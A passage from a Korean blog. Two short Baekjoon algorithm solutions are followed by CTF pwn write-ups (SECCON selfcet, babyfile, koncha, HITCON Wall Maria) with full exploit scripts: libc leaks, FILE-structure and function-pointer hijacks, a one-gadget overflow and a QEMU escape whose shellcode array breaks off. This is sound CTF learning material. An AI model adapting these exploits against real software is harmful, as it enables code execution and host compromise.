문제에서 표시된 영역만 잘 그려주면 됨. 일반적으로 i,j 순서대로 돌면서 체크하면 다르게 나오고, (0,0)의 위치가 우리가 평소에 쓰는 위치랑 다르기 때문에 x 좌표를 다르게 해놓고 움직여야한다.

그리고 다 그려주면 영역이 '0' 인 곳만 체크해주면서 개수를 세주면 된다

#include <bits/stdc++.h>
using namespace std;
#define X first
#define Y second
typedef pair<int, int> pii;
bool vis[101][101];
int M, N, K, a[101][101], xx1, yy1, xx2, yy2;
int dx[] = {-1, 1, 0, 0};
int dy[] = {0, 0, -1, 1};
vector<int> ret;
int cnt;

bool inrange(int nx, int ny) {
    if(nx < 0 || nx >= M || ny < 0 || ny >= N) return false;
    return true;
}
int main() {
    cin >> M >> N >> K;
    while(K--) {
        cin >> xx1 >> yy1 >> xx2 >> yy2;
        for(int i = M - yy2; i <= M - yy1 - 1; i++) 
            for(int j =xx1; j <= xx2 - 1; j++) 
                a[i][j] = 1;
    } 
    queue<pii> q;
    for(int i = 0; i < M; i++) {
        for(int j = 0; j < N; j++) {
            if(!vis[i][j] && !a[i][j]) {
                int ans = 1;
                cnt++;
                q.push({i, j}); vis[i][j] = true;
                while(!q.empty()) {
                    auto cur = q.front(); q.pop();
                    for(int dir = 0; dir < 4; dir++) {
                        int nx = cur.X + dx[dir];
                        int ny = cur.Y + dy[dir];
                        if(vis[nx][ny]) continue;
                        if(!inrange(nx, ny)) continue;
                        if(a[nx][ny]) continue;
                        q.push({nx, ny}); vis[nx][ny] = true;
                        ans++;
                    }
                }
                ret.push_back(ans);
            }
        }
    }
    sort(ret.begin(), ret.end());
    cout << cnt << '\n';
    for(int i = 0 ; i < ret.size(); i++)
        cout << ret[i] << ' '; 
}

 

스택의 괄호쌍 유형의 응용 버전.

처음에 괄호 안에 괄호가 들어있는 형태랑 닫힌 괄호 옆에 새로운 괄호가 있는 경우를 판단하는게 너무 어려웠다.그래서 보니까 일단 열린 괄호가 '(' 면 2를 곱해놓고 '[' 면 3을 곱해놓은 다음에, 스택에 문자를 넣는다.그리고 열린 괄호가 계속 나올때 까지 해당 괄호에 해당하는 숫자를 계속 곱하다가, 닫는 괄호가 나올 때가 중요한데, 한번 닫는 괄호가 나오면 지금까지 열린 괄호 만큼 곱해준걸 ans변수에 더한다. (이러면 이전 괄호 개수만큼 값을 고려할 수 있음)

 

그리고 닫는 만큼 계속 나눠주다가 다시 열린게 나오면 반복... 그 외에 경우는 모두 괄호쌍이 맞지 않으니까 ans = 0 넣어놓고 탈출하면 된다. 그리고 저 과정을 거쳐도 스택이 모두 안 비어질때가 있는데 그 땐 올바르지 않으니까 empty인지 체크하고 0 넣어주면 된다.

#include <bits/stdc++.h>
using namespace std;
string x;
stack<int> s;
int ans;
void solve() {
    int tmp = 1;
    char pre = ' ';
    for(int i = 0; i < x.length(); i++) {
        if(x[i] == '(' || x[i] == '[') {
            s.push(x[i]);
            if(x[i] == '(') tmp *= 2;
            else tmp *= 3;
        } else {
            if(x[i] == ')') {
                if(s.empty()) {
                    ans = 0;
                    break;
                }
                if(s.top() == '[') {
                    ans = 0;
                    break;
                }
                s.pop();
                if(pre == '(') {
                    ans += tmp;
                    tmp /= 2;
                } else {
                    tmp /= 2;
                }
            } else {
                if(s.empty()) {
                    ans = 0;
                    break;
                }
                if(s.top() == '(') {
                    ans = 0;
                    break;
                }
                s.pop();
                if(pre == '[') {
                    ans += tmp;
                    tmp /= 3;
                } else  {
                    tmp /= 3;
                }
            }
        }
        pre = x[i];
    }    
    if(!s.empty()) cout << 0;
    else cout << ans;
}
int main() {
    cin >> x;
    solve();
}

'PS > baekjoon' 카테고리의 다른 글

[BOJ 2302] 극장 좌석  (0) 2023.08.04
[BOJ 1463] 1로 만들기 2  (0) 2023.07.18
[BOJ 11055] 가장 큰 증가하는 부분 수열  (1) 2023.07.17
[BOJ 1431] 시리얼 번호  (0) 2023.07.16
[BOJ 2295] 세 수의 합  (1) 2023.07.03
#include <err.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stddef.h>

#define INSN_ENDBR64 (0xF30F1EFA) /* endbr64 */
#define CFI(f)                                              \
  ({                                                        \
    if (__builtin_bswap32(*(uint32_t*)(f)) != INSN_ENDBR64) \
      __builtin_trap();                                     \
    (f);                                                    \
  })

#define KEY_SIZE 0x20
typedef struct {
  char key[KEY_SIZE];
  char buf[KEY_SIZE];
  const char *error;
  int status;
  void (*throw)(int, const char*, ...); 
} ctx_t;

void read_member(ctx_t *ctx, off_t offset, size_t size) {
  if (read(STDIN_FILENO, (void*)ctx + offset, size) <= 0) {
    ctx->status = EXIT_FAILURE;
    ctx->error = "I/O Error";
  }
  ctx->buf[strcspn(ctx->buf, "\n")] = '\0';

  if (ctx->status != 0)
    CFI(ctx->throw)(ctx->status, ctx->error);
}

void encrypt(ctx_t *ctx) {
  for (size_t i = 0; i < KEY_SIZE; i++)
    ctx->buf[i] ^= ctx->key[i];
}

int main() {
  ctx_t ctx = { .error = NULL, .status = 0, .throw = err };

  read_member(&ctx, offsetof(ctx_t, key), sizeof(ctx));
  read_member(&ctx, offsetof(ctx_t, buf), sizeof(ctx));

  encrypt(&ctx);
  write(STDOUT_FILENO, ctx.buf, KEY_SIZE);

  return 0;
}

문제에서 주어진 코드이다. read_member 함수를 통해서 구조체에 입력을 할 수 있고, status의 값에 따라서 throw 함수 포인터를 실행할 지 안 할지 결정할 수 있다.

 

취약점은 쉽게 보이고, throw 를 원하는 함수로 덮을 수 있고 첫 번째 인자를 4바이트, 두 번째 인자를 8바이트로 세팅할 수 있다.

여기서 가장 걸리는 점이 출제자가 세팅한 CFI 매크로 인데, 함수를 실행하기 전에 이 매크로에서 함수의 시작 부분이 endbr64 옵코드로 시작하지 않으면 바로 trap을 먹여버린다. 그래서 이동할 때 무조건 endbr64 가 존재하는 함수로 이동시켜 줘야 trap이 안 걸리고 정상적으로 실행 된다.

 

내가 맨 처음에 시도한건 __libc_write 를 덮고, 첫 번째 인자는 1로, 두 번째 인자를 got로 세팅해서 libc 를 leak 하는거였는데,로컬은 되는데 리모트가 안돼서 삽질을 겁나게 했다,,, 나중에 들어보니까 gdb를 깔면 오차가 생길 수 있어서 그렇다고 한다.

 

아무튼 그래서 다른 방법은 __libc_write가 아닌 warnx 를 덮는거였다. warn는 무조건 exit를 하는 줄 알고 그냥 넘어갔는데, warn 자체는 printf만 하고 exit를 하지 않는다. 그래서 warn 첫 번째 인자에 got를 넣어주면 libc 출력이 된다. 확률은 1/16 이다. (1.5바이트만 일정하고 0.5 바이트는 랜덤)

 

그래서 libc 출력이 되면 다시 한 번 점프 뛸 곳을 정해야 하는데, atexit 함수의 첫 번째 인자에 원하는 함수 주소를 넣으면 그 쪽으로 jmp를 뛴다. 그래서 atexit에 main을 넣고 다시 main으로 돌아와서 gets 함수로 bss에 /bin/sh\x00 을 넣고 system 함수 인자로 bss 주소를 넣어주면 풀린다.

 

from pwn import *
elf = ELF('./xor')
libc = elf.libc
context.log_level = 'debug'
idx = 0
if sys.argv[1] =='0':
    r = remote('selfcet.seccon.games', 9999)
else:
    r = process('./xor')
buf = b'a'*0x40
buf += p64(elf.got['write'])
buf += p64(elf.got['write'])
buf += b'\x10\xd0'
r.send(buf)
sleep(0.2)
r.recvuntil(b'xor: ')
main = 0x401209
libc_base = u64(r.recv(6) + b'\x00\x00') - libc.symbols['write']
__libc_start_main_impl = libc_base + 0x29dc0
atexit = libc_base + 0x458c0
r.success(f'libc_base : {hex(libc_base)}')
buf = b'a'*0x20
buf += p64(main)
buf += p64(main)
buf += p64(atexit)
r.send(buf)

buf = b'a'*0x40
buf += p64(0x404000 + 0x100)
buf += p64(0x404000 + 0x200)
buf += p64(libc_base + libc.symbols['gets'])
r.send(buf)
sleep(0.1)
r.sendline('/bin/sh')
sleep(0.1)
buf = b'a'*0x20
buf += p64(0x404000 + 0x200)
buf += p64(0x404000 + 0x200)
buf += p64(libc_base + libc.symbols['system'])
r.send(buf)
r.interactive()

출제자의 intended solution은 arch_prctl 함수를 통해 fs를 조작하고, 조작한 fs를 통해 master canary가 우회되면서 main ret을 덮을 수 있다. 이를 이용하는 방법이 있다

'CTF' 카테고리의 다른 글

CTF 풀거  (0) 2023.09.14
SECCON 2022 - babyfile (pwn)  (0) 2023.09.14
SECCON 2022 - koncha (pwn)  (0) 2023.09.13
HITCON CTF 2023 - Full Chain (Wall Maria)  (1) 2023.09.11

최근들어 열심히 CTF를 뛰면서 느낀점이 

무조건 워게임만 많이 푼다고 실력이 잘 느는게 아니라 이미 어느정도 문제를 풀어서 기초를 쌓았으면 바로 최신 CTF 문제들을 업솔빙해서 동향을 파악하는게 더 좋다고 느꼈다. 그래서 가급적이면 최근 (2020~) 문제들을 모아서 풀아보려고 CTF 문제 리스트를 정리하려고 한당.

 

(O) HITCON 202 - Full Chain (Wall Maria) (https://ps.gosegu.kr/139)

(O) SECCON 2022 - koncha (https://ps.gosegu.kr/140)

(O) SECCON 2022 - babyfile (https://ps.gosegu.kr/141)

(O) SECCON 2023 - selfcet (https://ps.gosegu.kr/143)

(X) WACON 2023 - real sorry

(X) WACON 2023 - heaphp

(X) CODEGATE 2023 - pcpu

(X) Hacker's Playground 2023 - heapster

 

추가 예정...

'CTF' 카테고리의 다른 글

SECCON 2023 - selfcet (pwn)  (0) 2023.09.17
SECCON 2022 - babyfile (pwn)  (0) 2023.09.14
SECCON 2022 - koncha (pwn)  (0) 2023.09.13
HITCON CTF 2023 - Full Chain (Wall Maria)  (1) 2023.09.11

문제 이름부터 _IO_FILE의 냄새가 난다. 문제에서 주어진 코드는 다음과 같다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

static int menu(void);
static int getnline(char *buf, int size);
static int getint(void);

#define write_str(s) write(STDOUT_FILENO, s, sizeof(s)-1)

int main(void){
	FILE *fp;

	alarm(60);

	write_str("Play with FILE structure\n");

	if(!(fp = fopen("/dev/null", "r"))){
		write_str("Open error");
		return -1;
	}
	fp->_wide_data = NULL;

	for(;;){
		switch(menu()){
			case 0:
				goto END;
			case 1:
				fflush(fp);
				break;
			case 2:
				{
					unsigned char ofs;
					write_str("offset: ");
					if((ofs = getint()) & 0x80)
						ofs |= 0x40;
					write_str("value: ");
					((char*)fp)[ofs] = getint();
				}
				break;
		}
		write_str("Done.\n");
	}

END:
	write_str("Bye!");
	_exit(0);
}

static int menu(void){
	write_str("\nMENU\n"
			"1. Flush\n"
			"2. Trick\n"
			"0. Exit\n"
			"> ");

	return getint();
}

static int getnline(char *buf, int size){
	int len;

	if(size <= 0 || (len = read(STDIN_FILENO, buf, size-1)) <= 0)
		return -1;

	if(buf[len-1]=='\n')
		len--;
	buf[len] = '\0';

	return len;
}

static int getint(void){
	char buf[0x10] = {};

	getnline(buf, sizeof(buf));
	return atoi(buf);
}

2번 메뉴에서 FILE* 로 선언된 변수 안에 오프셋으로 값을 조작 할 수 있고 이를 통해 _IO_FILE 구조체에 있는 값을 아무거나 덮을 수 있다.

 

그리고 1번 메뉴에서 그 fp를 fflush 한다. 여기 까지 오면 fflush 를 어떻게 잘 해야겠다는 생각을 할 수 있다. 여기서 특이한 점은 _wide_data 를 지우기 때문에 해당 멤버 관련된 여러 파일 스트림 함수 (_IO_wfile_...) 를 통한 임의 코드 실행이 불가능 하므로, 다른 공격 벡터를 생각 해야한다.

 

그 전에 먼저 libc leak을 진행해야 하는데, 파일 스트림에서 leak 관련된 테크닉으론 well-known인 stdout libc leak을 우리는 잘 알고있다. 모르면 다음 링크 참고 (https://rninche01.tistory.com/entry/stdout-flag%EB%A5%BC-%EC%9D%B4%EC%9A%A9%ED%95%9C-libc-leak

 

즉 위 글에서 핵심은 _IO_write_base와 _IO_write_ptr을 libc 가 존재하는 영역으로 세팅해서 출력 과정에 libc 가 leak 되는 것이다. 하지만 문제에서의 fp는 /dev/null 을 open 하고 있기 때문에 _IO_write_base와 같은 영역에 아무 주소도 세팅 되어있지 않다.

 그래서 먼저 저 영역에 알맞은 주소를 세팅해야 한다. 여러 함수를 살펴본 결과, _IO_doallocbuf 라는 함수는 인자에 File Stream Structure를 넣으면 _IO_buf_base 와  _IO_buf_end 가 힙 주소로 세팅된다. 

그리고 해당 멤버를 _IO_write_base와 _IO_write_ptr 에 옮겨야한다. 이걸 해주는 함수는 _IO_new_file_overflow 이다.

자세한건 해당 코드를 직접 뜯으면 되는데, _IO_buf_base 와 _IO_buf_end에 들어 있는 값을 _IO_write_base 와 같은 멤버 들로 모두 옮겨준다. 그럼 이제 모든 변수가 세팅 됐으므로, flag만 잘 세팅해주고 _IO_new_do_write 같은 출력 함수를 사용하도록 해주면 된다. 

 

이건 원래 fflush 함수가 어떤걸 호출하는지 보면, _IO_new_file_sync 를 호출하게 된다. 안에 들어가면 _IO_do_flush 를 호출하고 이는 _IO_do_write를 호출하고 우리가 변수를 잘 세팅했다는 가정하에 heap에 깔린 주소를 출력하게 된다.

heap을 보면 libc가 역시 깔려 있고 libc leak을 한 뒤에 다시 _IO_write_base, _IO_write_ptr 을 main_arena+96, main_arena+96+8 로 세팅하면 힙 주소가 세팅 된다.

 

이제 원하는 함수를 어떻게 호출할지 생각해보자. 이건 구글을 뒤져가면서 찾았는데 _IO_obstack 관련 함수를 쓰면 된다.

두 가지 함수가 존재한다. _IO_obstack_overflow와 _IO_obstack_xsputn 이 있는데 두 함수 모두 매크로를 따라 분석해보면

함수 포인터가 존재하고 인자도 존재한다. 이를 조작해주면 된다. 관련 문서는 찾아보면 많으니 찾아보시길..핵심만 첨부하겠다.

 

# define CALL_FREEFUN(h, old_chunk) \
  do { \
      if ((h)->use_extra_arg)                             \
    (*(h)->freefun)((h)->extra_arg, (old_chunk));                 \
      else                                    \
    (*(void (*)(void *))(h)->freefun)((old_chunk));           \
    } while (0)

위에서 접근하는 변수는 모두 obstack struct의 멤버이고 이를 수행하기 위해 힙에 fake obstack을 만들어 주면 된다.

from pwn import *
r = process('./chall')

elf = ELF('./chall')
libc = elf.libc

def aaw(offset, value):
    r.sendlineafter('> ', '2')
    r.sendlineafter('offset: ', str(offset))
    r.sendlineafter('value: ', str(value))
    
def aaw_size(offset, value, size=1):
    for i in range(size):
        aaw(offset + i, (value >> (8 * i)) & 0xff)

def fflush():
    r.sendlineafter('> ', '1')

aaw(0xd8, 0xa8) # vtable
aaw(0x70, 0x01) # _fileno
aaw(0x00, 0x00)
aaw(0x01, 0x18) # flag
fflush()
aaw(0xd8, 0x58) # vtable
fflush()

aaw(0x20, 0x70) # write_base
aaw(0x28, 0x78) # write_ptr
aaw(0xd8, 0xa0) # vtable to sync
fflush()

libc_base = u64(r.recv(6)+b'\x00\x00') - 0x1e8f60
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
_IO_obstack_jumps = libc_base + 0x1e9260
main_arena_96 = libc_base + 0x1ecbe0
r.success(f'libc_base : {hex(libc_base)}')
aaw_size(0x20, main_arena_96, 0x8)
aaw_size(0x28, main_arena_96 + 0x8, 0x8)
fflush()
heap_base = u64(r.recv(6) + b'\x00\x00') - 0x2480
fake_obstack = heap_base + 0x2d0 - 0x10 -  0x100000000 # _IO_write_end

r.success(f'heap_base : {hex(heap_base)}')
r.success(f'fake_obstack : {hex(fake_obstack)}')
aaw_size(0xd8, _IO_obstack_jumps - 0x28, 8)
aaw_size(0xd8 + 0x8, fake_obstack, 8)
aaw_size(0x20, 0x0, 8)
aaw_size(0x28, 0x0, 8)
aaw_size(0x30, 0x0, 8)
aaw_size(0x38, 0x0, 8)
aaw_size(0x40, 0x0, 8)
aaw_size(0x48, 0x0, 8)
aaw_size(0x50, 0x0, 8)
aaw_size(0x58, system, 8)
aaw_size(0x60, 0x0, 0x0)
aaw_size(0x68, binsh, 8)
aaw_size(0x70, 0x1, 8)
fflush()

r.interactive()

'CTF' 카테고리의 다른 글

SECCON 2023 - selfcet (pwn)  (0) 2023.09.17
CTF 풀거  (0) 2023.09.14
SECCON 2022 - koncha (pwn)  (0) 2023.09.13
HITCON CTF 2023 - Full Chain (Wall Maria)  (1) 2023.09.11
#include <stdio.h>
#include <unistd.h>

int main() {
  char name[0x30], country[0x20];

  /* Ask name (accept whitespace) */
  puts("Hello! What is your name?");
  scanf("%[^\n]s", name);
  printf("Nice to meet you, %s!\n", name);

  /* Ask country */
  puts("Which country do you live in?");
  scanf("%s", country);
  printf("Wow, %s is such a nice country!\n", country);

  /* Painful goodbye */
  puts("It was nice meeting you. Goodbye!");
  return 0;
}

__attribute__((constructor))
void setup(void) {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  alarm(180);
}

SECCON이 코 앞이라 작년 문제를 풀어보고있다. 코드만 보면 취약점이 보이는 아주 간단한 문젠데 걸리는 포인트는

scanf는 문자열을 입력하면 끝에 null byte가 무조건 붙기 때문에 printf 를 통한 leak이 불가능 하다. 

하지만 %[^\n]s 는 문자열을 입력할 뗴 \n 전 까지 입력 받기때문에, 아무 것도 입력하지 않고 엔터 한 번만 누르면 (개행 문자만 넣으면) 아무 것도 입력되지 않아 null byte가 포함 되지 않고 stack에 존재하는 값을 leak 할 수 있다.

 

삽질을 조금 했는데, ubuntu 22.04.와 ubuntu 20.04의 스택 환경이 많이 다르기 때문에 22.04에선 leak이 안되고 20.04 에선 leak이 된다. 그래서 문제에서 주어진 환경인 20.04 대로 환경을 구성해서 푸는 것이 좋다.

 

이를 통해 libc leak이 가능하고 버퍼오버플로우를 통해 ret에 oneshot 가젯을 덮어주면 풀린다.

from pwn import *
r = process('./koncha')
libc = ELF('./libc.so.6')
r.sendlineafter('name?', '')
r.recvuntil('Nice to meet you, ')
__exit_funcs_lock = u64(r.recv(6) + b'\x00\x00')
libc_base = __exit_funcs_lock - 0x1f12e8
__malloc_hook = libc_base + libc.symbols['__malloc_hook']
pop_rsi = libc_base + 0x000000000002601f 
one = [0xe3afe, 0xe3b01, 0xe3b04]
payload = b'a'*80 + p64(__malloc_hook + 0x50) + p64(pop_rsi) + p64(0x0) + p64(libc_base + one[2])
r.sendline(payload)
r.interactive()

 

'CTF' 카테고리의 다른 글

SECCON 2023 - selfcet (pwn)  (0) 2023.09.17
CTF 풀거  (0) 2023.09.14
SECCON 2022 - babyfile (pwn)  (0) 2023.09.14
HITCON CTF 2023 - Full Chain (Wall Maria)  (1) 2023.09.11

HITCON CTF에 참가해서 팀 Purity로 19등이라는 성적을 얻었고, 그 때 못 푼 문제의 대한 write-up을 작성해보려고 한다.

#include "hw/hw.h"
#include "hw/pci/msi.h"
#include "hw/pci/pci.h"
#include "qapi/visitor.h"
#include "qemu/main-loop.h"
#include "qemu/module.h"
#include "qemu/osdep.h"
#include "qom/object.h"

#define TYPE_PCI_MARIA_DEVICE "maria"
#define MARIA_MMIO_SIZE 0x10000

#define BUFF_SIZE 0x2000

typedef struct {
    PCIDevice pdev;
    struct {
		uint64_t src;
        uint8_t off;
	} state;
    char buff[BUFF_SIZE];
    MemoryRegion mmio;
} MariaState;

DECLARE_INSTANCE_CHECKER(MariaState, MARIA, TYPE_PCI_MARIA_DEVICE)

static uint64_t maria_mmio_read(void *opaque, hwaddr addr, unsigned size) {
    MariaState *maria = (MariaState *)opaque;
    uint64_t val = 0;
    switch (addr) {
        case 0x00:
            cpu_physical_memory_rw(maria->state.src, &maria->buff[maria->state.off], BUFF_SIZE, 1); // state.src에 전달
            val = 0x600DC0DE;
            break;
        case 0x04:
            val = maria->state.src;
            break;
        case 0x08:
            val = maria->state.off;
            break;
        default:
            val = 0xDEADC0DE;
            break;
    }
    return val;
}

static void maria_mmio_write(void *opaque, hwaddlr addr, uint64_t val, unsigned size) {
    MariaState *maria = (MariaState *)opaque;
    switch (addr) {
        case 0x00:
            cpu_physical_memory_rw(maria->state.src, &maria->buff[maria->state.off], BUFF_SIZE, 0); // stare.src => maria->state.off
            break;
        case 0x04:
            maria->state.src = val;
            break;
        case 0x08:
            maria->state.off = val;
            break;
        default:
            break;
    }
}

static const MemoryRegionOps maria_mmio_ops = {
    .read = maria_mmio_read,
    .write = maria_mmio_write,
    .endianness = DEVICE_NATIVE_ENDIAN,
    .valid = {
        .min_access_size = 4,
        .max_access_size = 4,
    },
    .impl = {
        .min_access_size = 4,
        .max_access_size = 4,
    },
};

static void pci_maria_realize(PCIDevice *pdev, Error **errp) {
    MariaState *maria = MARIA(pdev);
    memory_region_init_io(&maria->mmio, OBJECT(maria), &maria_mmio_ops, maria, "maria-mmio", MARIA_MMIO_SIZE);
    pci_register_bar(pdev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &maria->mmio);
}

static void maria_instance_init(Object *obj) {
    MariaState *maria = MARIA(obj);
    memset(&maria->state, 0, sizeof(maria->state));
    memset(maria->buff, 0, sizeof(maria->buff));
}

static void maria_class_init(ObjectClass *class, void *data) {
    DeviceClass *dc = DEVICE_CLASS(class);
    PCIDeviceClass *k = PCI_DEVICE_CLASS(class);

    k->realize = pci_maria_realize;
    k->vendor_id = PCI_VENDOR_ID_QEMU;
    k->device_id = 0xDEAD;
    k->revision = 0x0;
    k->class_id = PCI_CLASS_OTHERS;

    set_bit(DEVICE_CATEGORY_MISC, dc->categories);
}

static void pci_maria_register_types(void) {
    static InterfaceInfo interfaces[] = {
        { INTERFACE_CONVENTIONAL_PCI_DEVICE },
        { },
    };
    static const TypeInfo maria_info = {
        .name = TYPE_PCI_MARIA_DEVICE,
        .parent = TYPE_PCI_DEVICE,
        .instance_size = sizeof(MariaState),
        .instance_init = maria_instance_init,
        .class_init = maria_class_init,
        .interfaces = interfaces,
    };

    type_register_static(&maria_info);
}

type_init(pci_maria_register_types)

코드는 위와 같다. qemu 문제는 처음이라 관련 write-up 을 뒤져가면서 함수를 어떻게 호출해야 하는지 공부했다.

간략하게 말하면 두 가지 방식이 존재하는데, 첫 번째로 MMIO를 통해서 메모리를 레지스터처럼 쓰는 방법을 이용해서 일정 오프셋을 넣어주면 그 오프셋에 해당하는 함수가 실행된다.

 

두 번째로 in out 과 같이 디바이스에서 열어놓은 포트를 통해 통신하여 데이터를 I/O 해주는 방법이 있다.

이 문제에선 MMIO 방식으로 데이터를 I/O 하기 때문에, 일정한 오프셋을 더해서 원하는 기능을 호출해주면 된다.

 

통신하는 방법은 여러가지 있는데, 가장 많이 쓰는 방법은 /sys/devices/pci0000:00/0000:00:??.0/resource0 파일을 open 해주면, 이 때 반환된 파일 디스크립터를 통해 디바이스 메모리에 접근할 수 있다. 이제 이걸 통해서 공격을 수행하면 된다.

 

여기서 알아야 할 함수는 cpu_physical_memory_rw 이다. 첫 번째 인자는 qemu 외부에서 실제 주소가 들어가고, (physical memory) 두 번쨰 인자는 qemu 내부에서 사용하는 주소들이 들어간다. 세 번째 인자는 입/출력을 할 버퍼의 길이를 지정해주고, 네 번째에선 모드를 지정한다.

 

네 번째 인자가 0이면 write를 하게 되면서, maria->buff[maria->state.off]에 있는 내용을  BUFF_SIZE 만큼 maria->state.src에 넣게된다.

네 번째 인자가 1이면 read를 하게 되면서, maria->state.src에 있는 내용을 BUFF_SIZE 만큼 maria->buff[maria->state.off] 에 복사하게 된다. 

 

여기서 가장 먼저 발생할 수 있는 취약점은, 언뜻보면 maria->off가 uint8_t type으로, 0xff 까지만 쓸 수 있으니 oob가 안 나지 않을까 하고 생각할 수 있는데, off가 0xff까지만 사용할 수 있더라도, BUFF_SIZE는 무조건 0x2000을 사용하기 때문에, read를 사용하면 buff 뒤에 있는 값들까지 모두 읽을 수 있고, 이는 중요한 정보를 많이 담고 있기에 크리티컬하다.

 

read를 이용해서 maria->buff[maria->state.off] 를 0x2000 만큼 maria->state.src에 전달하면 된다. 근데 이때 state.src는 physical address로 전달해야해서 이런걸 변환해주는 함수를 찾아서 템플릿으로 넣어두고 사용하면 된다. 대회 때 여기서 디게 많이 헷갈렸는데, physical address 로 전달하게 되면 알아서 내부에서 virtual address로 바뀌어서 우리가 아는 주소에 실제 값들이 들어가게 된다. 이게 엄청 헷갈려서 몇 시간 잡아먹었음. 기초 운영체제 지식같은데 기초가 중요한 것 같다.

 

그러면 이제 qemu base 주소와, maria 주소를 알아서 write 함수를 이용해 fake maria state struct를 만들어 주면되는데, 이 때 사용하는 흔한 벡터가 mmio 내부엔 ops 라고 해서 함수포인터들을 저장해놓은 포인터가 존재한다. 이 때 fake vtable 을 만들어서 이 포인터의 주소를 ops에 덮어주면 우리가 원하는 함수포인터들을 사용할 수 있다. 

보통 ROP를 이용하여 푸는데 익스코드를 보니까 디게 복잡했다. 그래서 다른 풀이를 봤는데 mprotect를 이용해서 간단하게 RWX 권한을 메모리에 줄 수 있고 해당 주소를 실행해서 플래그를 읽을 수 있다.

 

깃헙에서 solve 코멘트를 보면, 버퍼 크기가 0x1000이라 딱 PAGE_SIZE로, 그 이후에 배치되는 주소들이 다른 가상주소에 배치될 수도 있다. 그래서 이를 방지하기 위해서 Huge Pages 라는게 존재하는데 이는 다음 사이트 참고. https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/performance_tuning_guide/s-memory-transhuge

 

5.2. Huge Pages and Transparent Huge Pages Red Hat Enterprise Linux 6 | Red Hat Customer Portal

Access Red Hat’s knowledge, guidance, and support through your subscription.

access.redhat.com

익스플로잇 코드에 지금까지 설명한 모든 것이 담겨있다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>
#include <dirent.h>
#include <sys/prctl.h>
#include <sys/uio.h>
#include <sys/io.h>
#include <sys/types.h>
#include <inttypes.h>
#include <assert.h>
#include <sys/stat.h>

#define MARIA_MMIO_READ_SRC 0x04
#define MARIA_MMIO_READ_OFF 0x08
#define MARAI_MMIO_READ_TRIG 0x00
#define MARIA_MMIO_WRITE_SRC 0x04
#define MARIA_MMIO_WRITE_OFF 0x08
#define MAIRA_MMIO_WRITE_TRIG 0x00
#define PAGE_SIZE 0x1000

void die(const char* msg) {
    perror(msg);
    exit(1);
}

uint32_t read_magic(void* mem) {
    return *(uint32_t *)((void*)mem);
}

void* map_device(int fd) {
    void* mem;
    mem = mmap(NULL, PAGE_SIZE * 4, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x0);
    if(mem == MAP_FAILED)
        die("mmap");
    return mem;
}

void unmap_device(void* mem) {
    munmap((void*)mem, MAP_SIZE);
}

void write_src(void* mem, uint32_t src) {
    *(uint32_t *)((void *)mem + MARIA_MMIO_WRITE_SRC) = src;
}

void write_off(void* mem, uint8_t off) {
    *(uint32_t *)((void *)mem + MARIA_MMIO_WRITE_OFF) = off;   
}

uint32_t read_src(void* mem) {
    return *(uint32_t *)((void *)mem + MARIA_MMIO_READ_SRC);
}

uint32_t read_off(void* mem) {
    return *(uint32_t *)((void *)mem + MARIA_MMIO_READ_OFF);
}

void write_trigger(void* mem, uint32_t value) {
    *(uint32_t *)((void *)mem) = value;
}

uint32_t read_trigger(void* mem) {
    return *(uint32_t *)((void *)mem);
}

void* map_buf() {
    void* out;
    out = mmap(NULL, PAGE_SIZE * 4, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if(out == MAP_FAILED)
        die("mmap");
    memset((void*)out, 0, 4096);
    return out;
}

void read_from_buf(void* mem, uint64_t local_phys, uint8_t off) {
    write_src(mem, local_phys);
    write_off(mem, off);
    read_trigger(mem);
}

uint64_t virt2phys(void* addr) {
    uint64_t page = 0;
    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd < 0) {
        fprintf(stderr, "[!] open error in gva2gpa\n");
        exit(1);
    }
    lseek(fd, ((uint64_t)addr / PAGE_SIZE) * 8, SEEK_SET);
    read(fd, &page, 8);
    return ((page & 0x7fffffffffffff) * PAGE_SIZE) | ((uint64_t)addr & 0xfff);
}

void exploit(void* mem) {
    char* buf;
    uint64_t buf_phys;
    while(1) {
        buf = mmap(0, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS | MAP_NONBLOCK, -1, 0);
        if(buf < 0) 
            die("mmap");
        memset(buf, 0, 2 * PAGE_SIZE);
        buf_phys = virt2phys(buf);
        uint64_t buf_phys_1000 = virt2phys(buf + PAGE_SIZE);
        if(buf_phys + PAGE_SIZE == buf_phys_1000)
            break;
    }
    write_src(mem, buf_phys);
    write_off(mem, 0xf0);
    read_trigger(mem);
    uint64_t *buff_u64 = (uint64_t *)buf;
    for(int i = 0; i < 0x400; i++) {
        printf("%ld : 0x%lx\n", i, buff_u64[i]);
    }
    uint64_t maria_buff_addr = buff_u64[0x3fa] - 0x20b8;
    uint64_t maria_addr = maria_buff_addr - 0xa30;
    uint64_t qemu_base = buff_u64[0x3eb] - 0xf1ff80;
    uint64_t mprotect_plt = qemu_base + 0x30c400;
    printf("maria_buff_addr : %p\n", maria_buff_addr);
    printf("maria_addr : %p\n", maria_addr);
    printf("qemu_base : %p\n", qemu_base);
    printf("buff_u64 : %p\n", buff_u64);
    
    buff_u64[0x0] = maria_buff_addr + 0x4f0;
    //buff_u64[0x0] = 0xdeadbeefcafebabe;
    buff_u64[0x1] = mprotect_plt;

    /* shellcode */
    char shellcode[] = {
        0xeb, 0x10, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x75, 0x73, 0x65, 0x72,
        0x2f, 0x66, 0x6c, 0x61, 0x67, 0x00, 0x6a, 0x02, 0x58, 0x48, 0x8d, 0x3d,
        0xe6, 0xff, 0xff, 0xff, 0x31, 0xf6, 0x0f, 0x05, 0x48, 0x97, 0x31, 0xc0,
        0x54, 0x5e, 0x6a, 0x70, 0x5a, 0x0f, 0x05, 0x48, 0x92, 0x6a, 0x01, 0x58,
